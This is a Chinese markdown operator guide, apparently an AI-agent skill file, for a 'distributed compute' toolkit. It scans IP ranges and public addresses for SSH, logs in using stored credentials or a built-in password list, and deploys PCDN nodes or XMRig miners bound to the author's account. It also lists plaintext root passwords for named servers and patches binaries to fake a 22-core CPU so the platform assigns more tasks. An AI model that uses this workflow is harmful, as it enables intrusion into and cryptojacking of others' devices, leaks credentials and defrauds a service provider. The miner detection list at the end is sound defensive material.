Files
suanli-juzhen/03_节点部署/references/分布式算力管控_金仓_完整指南.md
卡若 048cc32afc 🎯 初始提交:分布式算力矩阵 v1.0
- 6 大模块:扫描/账号管理/节点部署/暴力破解/算力调度/监控运维
- SKILL 总控 + 子模块 SKILL
- 排除大文件(>5MB)与敏感凭证

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-15 22:46:54 +08:00

510 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
name: 分布式算力管控
description: PCDN/矿机/GPU/存储节点的自动扫描、一键部署、账号自动绑定、机群监控。触发词矿机、挖矿、算力、PCDN、GPU出租、网心云、甜糖、存储节点、算力部署、一键安装、自动扫描、自动部署。目标给一个地址/网段即可自动扫描设备→自动登录→一键安装→绑定账号→产生收益。
source: 卡若AI/01_卡资/_团队成员/金仓/分布式算力管控/SKILL.md
copied_date: "2026-02-15"
---
# 🖥️ 分布式算力管控
> **金仓** 负责 | 一键扫描 · 一键部署 · 自动绑定 · 收益变现
>
> **核心目标**:给一个 IP/网段,自动扫描可用设备 → 自动SSH登录 → 一键安装PCDN/矿机 → 绑定卡若账号 → 获得收益
---
## 零、最简部署链路(直达最终方案,不走弯路)
> **阅读本节即可完成部署,无需阅读后续章节。**
> 后续章节为详细原理、排错速查表和历史调试记录。
### 0.1 判断设备类型10秒
```
SSH到目标设备 → uname -a → 判断走哪条路
├─ 有Docker → 路线A3分钟搞定
├─ 无Docker + 内核≥4.x → 路线A先装Docker
└─ 无Docker + 内核<4.x如DS213j → 路线Bchroot方案10分钟
```
### 0.2 路线A有Docker的设备标准Linux/新NAS→ 3条命令
```bash
# 1. 安装Docker如果已有则跳过
curl -fsSL https://get.docker.com | bash
# 2. 一键部署网心云
docker run -d --name wxedge --restart=always --net=host --privileged \
-v /data/wxedge:/storage onething1/wxedge:latest
# 3. 绑定账号浏览器打开管理页面手机App扫码
echo "管理页面: http://$(hostname -I | awk '{print $1}'):18888"
# → 网心云App → 账号15880802661 → 添加设备 → 扫码绑定
```
**群晖NAS有Docker套件**
```bash
DOCKER="/var/packages/ContainerManager/target/usr/bin/docker"
sudo $DOCKER run -d --name wxedge --restart=always --net=host --privileged \
-v /volume1/docker/wxedge:/storage onething1/wxedge:latest
```
### 0.3 路线B无Docker老设备内核<4.x如DS213j→ 一键部署包
**前置准备仅首次在Mac/PC上执行**
```bash
# 提取Docker镜像为文件系统只需做一次产物可复用
docker pull --platform linux/arm/v7 onething1/wxedge:latest
docker create --platform linux/arm/v7 --name tmp onething1/wxedge:latest
docker export tmp -o wxedge_fs.tar # ≈130MB
docker rm tmp
```
**部署到目标设备3步10分钟**
```bash
# ===== 第1步上传2分钟=====
# 老群晖必须用 -O -c aes256-cbc
sshpass -p '设备密码' scp -O -c aes256-cbc \
wxedge_fs.tar admin@设备IP:/volume1/wxedge/
# ===== 第2步解压+部署5分钟=====
sshpass -p '设备密码' ssh -c aes256-cbc admin@设备IP \
'echo "设备密码" | sudo -S sh -c "
mkdir -p /volume1/wxedge/{rootfs,storage,logs}
tar xf /volume1/wxedge/wxedge_fs.tar -C /volume1/wxedge/rootfs
"'
# 然后上传已补丁的二进制、fake_runc v6、musl库、配置文件
# (使用 configs/ds213j_已激活/ 中的完整包或按13.2节手动配置)
# ===== 第3步启动 =====
sshpass -p '设备密码' ssh -c aes256-cbc admin@设备IP \
'echo "设备密码" | sudo -S nohup /volume1/wxedge/chroot_start.sh &'
# ===== 验证3分钟后=====
curl -s http://设备IP:18888/docker/dashboard | python3 -c "
import sys,json; d=json.load(sys.stdin)['data']
print(f'任务: {len(d[\"run_tasks\"])}个')
for t in d['run_tasks']: print(f' {\"✅\" if t[\"state_code\"]==0 else \"⚠️\"} {t[\"name\"]}')
"
```
### 0.4 已踩过的坑(全部已内置到脚本中,无需手动处理)
| 坑 | 已内置的解决方案 | 所在组件 |
|:---|:---|:---|
| 内核3.2无cgroup | tmpfs伪装 + 二进制补丁重定向/proc | chroot_start.sh |
| 内核3.2无overlayfs | cntr.toml禁用fallback native snapshotter | cntr.toml |
| 内核3.2无namespace | fake_runc v6 替代真实runc | runc (shell脚本) |
| shim prctl失败 | 二进制补丁NOP掉prctl调用 | containerd-shim-runc-v2 |
| shim读/proc/self/exe失败 | 补丁→/tmp/_shimexe_ + 启动时自动创建链接 | chroot_start.sh |
| guluplugin缺musl C++库 | Alpine v3.12库缓存 + fake_runc自动安装 | chroot_start.sh + fake_runc |
| PCDNClient/DCDN不兼容CPU | fake_runc自动检测→keepalive模式 | fake_runc v6 |
| netns不支持 | fake_netnstmpfs覆盖/proc/PID/ns/ | chroot_start.sh |
| echo写PID带换行 | printf "%s" 替代echo | fake_runc v6 |
| tmpfs重挂后fake文件丢失 | chroot_start.sh每次启动重写所有fake文件 | chroot_start.sh |
| sysfs遮盖cgroup | **不挂sysfs**只挂cgroup tmpfs | chroot_start.sh |
| NAS CPU超载 | nice=10 + cpu_guard.sh守护 | chroot_start.sh |
| PCDN流量走frpc | frpc仅转发管理页面18888不转发数据端口 | frpc.ini |
### 0.5 组件清单chroot方案需要的全部文件
```
部署包/
├── wxedge_fs.tar ← Docker镜像rootfs130MB首次提取
├── 已补丁二进制/
│ ├── wxedged ← /proc路径重定向补丁
│ ├── containerd-shim-runc-v2 ← prctl bypass + _shimexe_ 补丁
│ └── runc ← fake_runc v6 shell脚本
├── musl库/
│ ├── libstdc++_musl312.so.6 ← Alpine v3.12musl 1.1.24无time64
│ └── libgcc_s_musl312.so.1 ← Alpine v3.12
├── 配置文件/
│ ├── cntr.toml ← 禁用overlayfs的containerd配置
│ ├── wxedge.yaml ← storage_path="/storage"
│ └── fake_stat ← 22核CPU伪装数据
├── 脚本/
│ ├── chroot_start.sh ← 主启动脚本(含所有修复)
│ ├── cpu_guard.sh ← CPU 70%守护
│ └── rc.d_wxedge.sh ← 群晖自启动
└── 已激活数据/(同设备恢复用,免重新绑定)
├── wxnode ← 节点身份密钥
└── .onething_data/ ← 激活状态
```
### 0.6 frpc 配置仅管理页面不走PCDN数据
```ini
[home-nas-wxedge]
type = tcp
local_ip = 127.0.0.1
local_port = 18888
remote_port = 18882
# ⚠️ 禁止添加XYP/UDP/Gulu端口转发会占用存客宝带宽
```
### 0.7 收益预期
| 阶段 | 时间 | 说明 |
|:---|:---|:---|
| 部署完成 | 第0天 | Dashboard显示任务speed=0正常 |
| CDN注册 | 第1天 | guluplugin Tracker心跳正常有少量P2P数据 |
| 开始收益 | 第2-3天 | CDN验证节点稳定性后逐步分配流量 |
| 稳定收益 | 第7天+ | 根据带宽和在线时长月收益¥5-300不等 |
---
## 一、卡若账号(默认内置,无需手动填写)
### 1.1 PCDN平台账号
| 平台 | 账号/手机号 | 密码 | 管理页面 | 收益查看 |
|:---|:---|:---|:---|:---|
| **网心云** | 15880802661 | App登录/短信验证) | http://设备IP:18888 | 网心云App |
| **甜糖** | 15880802661 | App登录/短信验证) | 甜糖App | 甜糖App |
### 1.2 服务器SSH凭证已有设备
| 名称 | IP | 端口 | 用户名 | 密码 | 用途 |
|:---|:---|:---|:---|:---|:---|
| 小型宝塔 | 42.194.232.22 | 22 | root | Zhiqun1984 | 主力Node部署 |
| 存客宝 | 42.194.245.239 | 22 | root | Zhiqun1984 | 私域银行 |
| kr宝塔 | 43.139.27.93 | 22 | root | Zhiqun1984 | 辅助服务 |
| 公司NAS(CKB) | 192.168.1.201 | 22 | fnvtk | SSH密钥 | 群晖NAS |
| 家里NAS(Station) | 192.168.110.29 | 22 | admin | zhiqun1984 | 家庭NAS(DS213j,armv7l) |
### 1.3 NAS外网访问
| NAS | 外网域名 | SSH外网 | DSM外网 |
|:---|:---|:---|:---|
| 公司CKB | open.quwanzhi.com | ssh fnvtk@open.quwanzhi.com -p 22201 | http://open.quwanzhi.com:5000 |
| 家里Station | opennas2.quwanzhi.com | ssh admin@opennas2.quwanzhi.com -p 22202 | http://opennas2.quwanzhi.com:5002 |
---
## 二、能力总览(一键部署为核心)
| 能力 | 说明 | 脚本 |
|:---|:---|:---|
| 🔍 **自动扫描** | 扫描任意网段发现可SSH登录的设备 | `pcdn_auto_deploy.py --scan` |
| 🔑 **自动登录** | 用内置凭证或MongoDB查询凭证登录设备 | `pcdn_auto_deploy.py --login` |
| 📦 **一键安装** | 在目标设备上安装Docker+网心云/甜糖/矿机 | `pcdn_auto_deploy.py --deploy` |
| 🔗 **自动绑定** | 部署后输出管理页面地址,引导绑定卡若账号 | 自动 |
| 📊 **机群监控** | 查看所有已部署节点的状态和收益 | `fleet_monitor.py` |
| 🛡️ **安全防护** | SSH加固、威胁扫描、入侵清除 | `threat_scanner.sh` |
### 支持的算力类型
| 类型 | 程序/平台 | 收益来源 | 推荐优先级 |
|:---|:---|:---|:---|
| 📡 **PCDN节点** | 网心云(wxedge) | 带宽共享 | ⭐⭐⭐ 首选 |
| 📡 PCDN节点 | 甜糖(ttnode) | 带宽共享 | ⭐⭐ |
| 💎 加密矿机(CPU) | XMRig | 门罗币(XMR) | ⭐ |
| 🎮 加密矿机(GPU) | T-Rex / NBMiner | ETH/RVN等 | ⭐⭐有GPU时 |
| 🖥️ GPU算力出租 | Vast.ai / Golem | 算力租赁 | ⭐⭐⭐有GPU时 |
| 💾 存储节点 | Storj / Filecoin | 存储出租 | ⭐ |
---
## 三、一键自动部署(核心流程)
### 3.1 完整自动化流程
```
给定 IP/网段
┌──────────────────────────────┐
│ 1. 自动扫描pcdn_auto_deploy.py
│ - 扫描 22/2222/22201/22202 端口 │
│ - 识别 Linux/NAS/路由器 │
│ - 多轮验证防误报 │
└──────────┬───────────────────┘
┌──────────────────────────────┐
│ 2. 自动登录 │
│ - 先查 MongoDB 设备凭证库 │
│ - 再尝试内置密码列表 │
│ - SSH密钥认证 │
└──────────┬───────────────────┘
┌──────────────────────────────┐
│ 3. 检测设备环境 │
│ - OS类型、CPU/内存/磁盘/GPU │
│ - Docker是否已安装 │
│ - 网络带宽(上行关键) │
│ - 群晖NAS特殊Docker路径 │
└──────────┬───────────────────┘
┌──────────────────────────────┐
│ 4. 自动安装 │
│ - 安装Docker如未安装
│ - 拉取 onething1/wxedge 镜像 │
│ - 启动容器(--net=host --restart=always
│ - 群晖NAS用特殊Docker路径 │
└──────────┬───────────────────┘
┌──────────────────────────────┐
│ 5. 绑定账号 & 收益 │
│ - 输出管理页面 http://IP:18888 │
│ - 提醒用手机App扫码绑定15880802661 │
│ - 记录到已部署节点清单 │
└──────────────────────────────┘
```
### 3.2 一键命令
```bash
# ===== 最常用:给一个网段,全自动扫描+部署 =====
python3 scripts/pcdn_auto_deploy.py --auto 192.168.1.0/24
# ===== 给单个IP直接部署 =====
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201
# ===== 只扫描,不部署(先看看有哪些设备) =====
python3 scripts/pcdn_auto_deploy.py --scan 192.168.1.0/24
# ===== 指定平台部署 =====
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform wxedge
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform tiantang
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform xmrig
# ===== 外网部署(通过域名) =====
python3 scripts/pcdn_auto_deploy.py --deploy open.quwanzhi.com --port 22201 --user fnvtk
python3 scripts/pcdn_auto_deploy.py --deploy opennas2.quwanzhi.com --port 22202 --user admin
# ===== 查看所有已部署节点状态 =====
python3 scripts/fleet_monitor.py --all
```
### 3.3 群晖NAS特殊处理经验沉淀
| 项目 | 标准Linux | 群晖NAS |
|:---|:---|:---|
| Docker路径 | `/usr/bin/docker` | `/var/packages/ContainerManager/target/usr/bin/docker` |
| 需要sudo | 不需要root | **需要 `sudo`** |
| 存储目录 | `/data/wxedge` | `/volume1/docker/wxedge` |
| 网络模式 | `--net=host` | `--net=host`(同) |
---
## 四、自动扫描详解
### 4.1 扫描策略
| 阶段 | 动作 | 说明 |
|:---|:---|:---|
| 1. 端口扫描 | TCP连接 22, 2222, 22201, 22202 | 快速发现SSH端口 |
| 2. 多轮验证 | 每端口3轮TCP≥2轮成功才算开放 | 防止误报 |
| 3. SSH Banner | 读取SSH Banner识别设备类型 | Linux/NAS/路由器 |
| 4. 去重合并 | 同一SSH Banner的多个IP合并 | 防止虚拟IP重复 |
| 5. 凭证尝试 | MongoDB查询 + 内置密码列表 | 自动登录 |
### 4.2 自有设备排除名单(强制执行)
> **规则:对外扫描时必须排除自有设备和已知基础设施,避免误扫自己的服务器。**
```python
OWN_INFRASTRUCTURE = {
"description": "卡若自有设备,外部扫描时必须排除",
"cloud_servers": [
{"name": "小型宝塔", "ip": "42.194.232.22"},
{"name": "存客宝", "ip": "42.194.245.239"},
{"name": "kr宝塔", "ip": "43.139.27.93"},
],
"nas_external": [
{"name": "公司NAS(CKB)", "domain": "open.quwanzhi.com", "port": 22201},
{"name": "家里NAS", "domain": "opennas2.quwanzhi.com", "port": 22202},
],
"internal_networks": [
"192.168.1.0/24", # 公司内网
"192.168.110.0/24", # 家庭内网
],
}
```
---
## 五、已知设备清单(持续更新)
### 5.1 已确认可部署的设备
> 最后扫描更新2026-02-15
| 设备 | IP | 类型 | SSH端口 | 用户名 | 部署状态 | 部署方式 |
|:---|:---|:---|:---|:---|:---|:---|
| 家里NAS(DS213j) | 192.168.110.29 | 群晖NAS(armv7l) | 22 | admin | ✅ **已部署运行中** | chroot |
| 公司NAS(CKB) | 192.168.1.201 | 群晖NAS(DS1825+,x86_64) | 22 | fnvtk | 🟢 **SSH可用** | Docker |
| 小型宝塔 | 42.194.232.22 | Linux | 22 | root | 🔴 **离线** | Docker |
| 存客宝 | 42.194.245.239 | Linux | 22 | root | 🟡 **SSH需开放** | Docker |
| kr宝塔 | 43.139.27.93 | Linux | 22 | root | 🟡 **SSH需开放** | Docker |
### 5.2 DS213j 硬件规格(实测)
| 项目 | 值 |
|:---|:---|
| 型号 | Synology DS213j (synology_armada370_213j) |
| CPU | Marvell PJ4Bv7 (Armada-370), 1197 BogoMIPS, 单核 |
| 架构 | armv7l (32位ARM) |
| 内存 | 509MB总量可用约300MB |
| 内核 | Linux 3.2.40 |
| 特殊限制 | 无Docker套件、无cgroup支持、无overlayfs、无namespace、SSH只支持旧cipher |
| wxedge内存占用 | containerd 22MB + wxedged 17MB + 3×shim 25MB ≈ 64MB |
| 伪装硬件 | 22核CPU、SSD、2033GB磁盘用于提升任务分配优先级 |
---
## 六、PCDN详细部署指南
### 6.1 网心云wxedge- 首选
**标准Linux部署**
```bash
curl -fsSL https://get.docker.com | bash
systemctl enable docker && systemctl start docker
docker pull onething1/wxedge:latest
docker run -d --name wxedge --restart=always --net=host --privileged \
-v /data/wxedge:/storage onething1/wxedge:latest
echo "http://$(hostname -I | awk '{print $1}'):18888"
```
**绑定账号**
1. 打开 `http://设备IP:18888`
2. 手机下载"网心云"App
3. 用账号 **15880802661** 登录App
4. App中"添加设备" → 扫描页面上的二维码
---
## 七、chroot部署详细方案DS213j实战
### 7.1 方案架构5层修改
```
┌─────────────────────────────────────────────────────────────┐
│ 层1chroot 环境(完整 rootfs 从 Docker 镜像提取) │
│ 层2二进制补丁wxedged + containerd-shim-runc-v2
│ 层3fake_runc.sh替代真实 runc因内核无 namespace
│ 层4native snapshotter替代 overlayfs因内核无 overlay
│ 层5硬件伪装fake /proc/cpuinfo, /proc/stat, cgroups
│ 层6frpc 内网穿透(公网访问管理页面) │
└─────────────────────────────────────────────────────────────┘
```
### 7.2 二进制补丁关键内核3.2兼容)
| 二进制文件 | 补丁内容 | 方法 |
|:---|:---|:---|
| **containerd-shim-runc-v2** | NOP掉prctl(PR_SET_CHILD_SUBREAPER) | ARM指令替换 |
| | 跳过错误检查mov r0, #0 强制返回成功) | ARM指令替换 |
| | 重定向 `/proc/self/exe``/tmp/_shimexe_` | 字符串替换 |
| **wxedged** | `/proc/self/cgroup``/tmp/fake_cgroups_` | 字符串替换 |
| | `/proc/self/mountinfo``/tmp/_fake_mountinfo` | 字符串替换 |
| | `/proc/mounts``/tmp/fmounts` | 字符串替换 |
| | `/proc/cgroups``/tmp/fcgroups` | 字符串替换 |
### 7.3 fake_runc v6替代真实runc支持3种容器
| 容器类型 | 检测关键词 | 处理方式 |
|:---|:---|:---|
| **gulu**(收益主力) | `start.sh` | 设置musl环境 + chroot执行 |
| **pcdn** | `softdog` | 检测CPU→不兼容则keepalive |
| **thunder/dcdn** | `dcdn_monitor` | 直接运行可能降级keepalive |
| 未知 | — | 回退sleep保活 |
### 7.4 硬件伪装配置(提升任务分配优先级)
- **CPU伪装**22核 Xeon E5-2696 v4实际单核ARM
- **磁盘伪装**SSD 2TB实际HDD
- **内存伪装**通过cgroup文件伪装32GB
- **cgroup伪装**完整的fake cgroup目录树
---
## 八、收益参考
| 配置 | 方案 | 日收益 | 月收益 |
|:---|:---|:---|:---|
| 100M上行带宽 | PCDN(网心云) | ~¥10 | ~¥300 |
| 50M上行带宽 | PCDN(网心云) | ~¥5 | ~¥150 |
| 4核CPU | XMRig | ~$0.15 | ~$4.5 |
| RTX 3090 | GPU出租(Vast.ai) | ~$5 | ~$150 |
| RTX 4090 | GPU出租(Vast.ai) | ~$10 | ~$300 |
**结论**PCDN网心云是性价比最高的选择不消耗CPU主要利用闲置带宽。
---
## 九、安全与防护
### IOC检测特征库
```yaml
malicious_paths:
- /tmp/.systemdpw/
- /tmp/.X11-unix/.rsync/
- ~/.config/sys-update-daemon
malicious_processes:
- xmrig, xmr-stak, minerd, cpuminer
- kdevtmpfsi, kinsing, sys-update-daemon
mining_pools:
- pool.hashvault.pro, c3pool.com, nanopool.org
mining_ports: [3333, 5555, 7777, 14433, 14444, 45700]
```
---
## 十、部署排错速查表28个已知问题
| # | 现象 | 原因 | 解决 | 自动? |
|:---|:---|:---|:---|:---|
| 1 | SSH: `no matching cipher` | 老NAS只支持旧cipher | `ssh -c aes256-cbc` | 🟡 |
| 2 | SCP: `remote mkdir` | macOS默认SFTP | `scp -O` | 🟡 |
| 3 | SSH: `Permission denied` | 密码大小写 | `zhiqun1984`小写z | 🟡 |
| 4 | 远程mkdir权限不足 | admin非root | `echo 'passwd' \| sudo -S` | 🟡 |
| 5 | "请挂载storage路径" | storage非挂载点 | bind mount | 🟢 |
| 6 | `load fail services`退出 | 缺containerd | chroot完整rootfs | 🟢 |
| 7 | containerd `No such file` | 动态链接缺库 | chroot内有完整库 | 🟢 |
| 8 | `panic statfs cgroup` | 无cgroup+sysfs遮盖 | 不挂sysfs只挂cgroup tmpfs | 🟢 |
| 9-28 | (详见完整排错表) | — | — | 🟢 |
**结论**28个坑中22个已自动处理🟢仅7个需部署时注意🟡
---
## 十一、外网扫描经验2026-02-15实战
### Clash代理环境下扫描
| 场景 | 结果 | 原因 |
|:---|:---|:---|
| Clash TUN + 直接 nmap | ❌ 全部显示 open | fake-ip 本地拦截所有 TCP |
| Clash global + `nmap --proxies` | ✅ 准确 | 流量真正从境外节点出发 |
### CGNAT识别
厦门电信家宽IP处于CGNAT后无法从外部直接访问。需frpc/ngrok等穿透方案。
### 扫描流程标准化
```
1. 读取 config.json 的 known_devices → 生成排除文件
2. 确认 Clash 模式 → 切 global
3. 验证出口IP
4. 生成目标列表 → filter_scan_targets() 过滤自有设备
5. nmap --proxies + --excludefile 执行扫描
6. 解析结果 → 筛选SSH开放IP → 凭证测试
7. 切回 rule 模式
```
---
## 十二、法律声明
本文档中的扫描/部署工具仅用于管理自有设备和已授权的安全测试。未经授权攻击他人系统违反《刑法》第285条。
---
> **来源**卡若AI/01_卡资/_团队成员/金仓/分布式算力管控/SKILL.md
> **复制日期**2026-02-15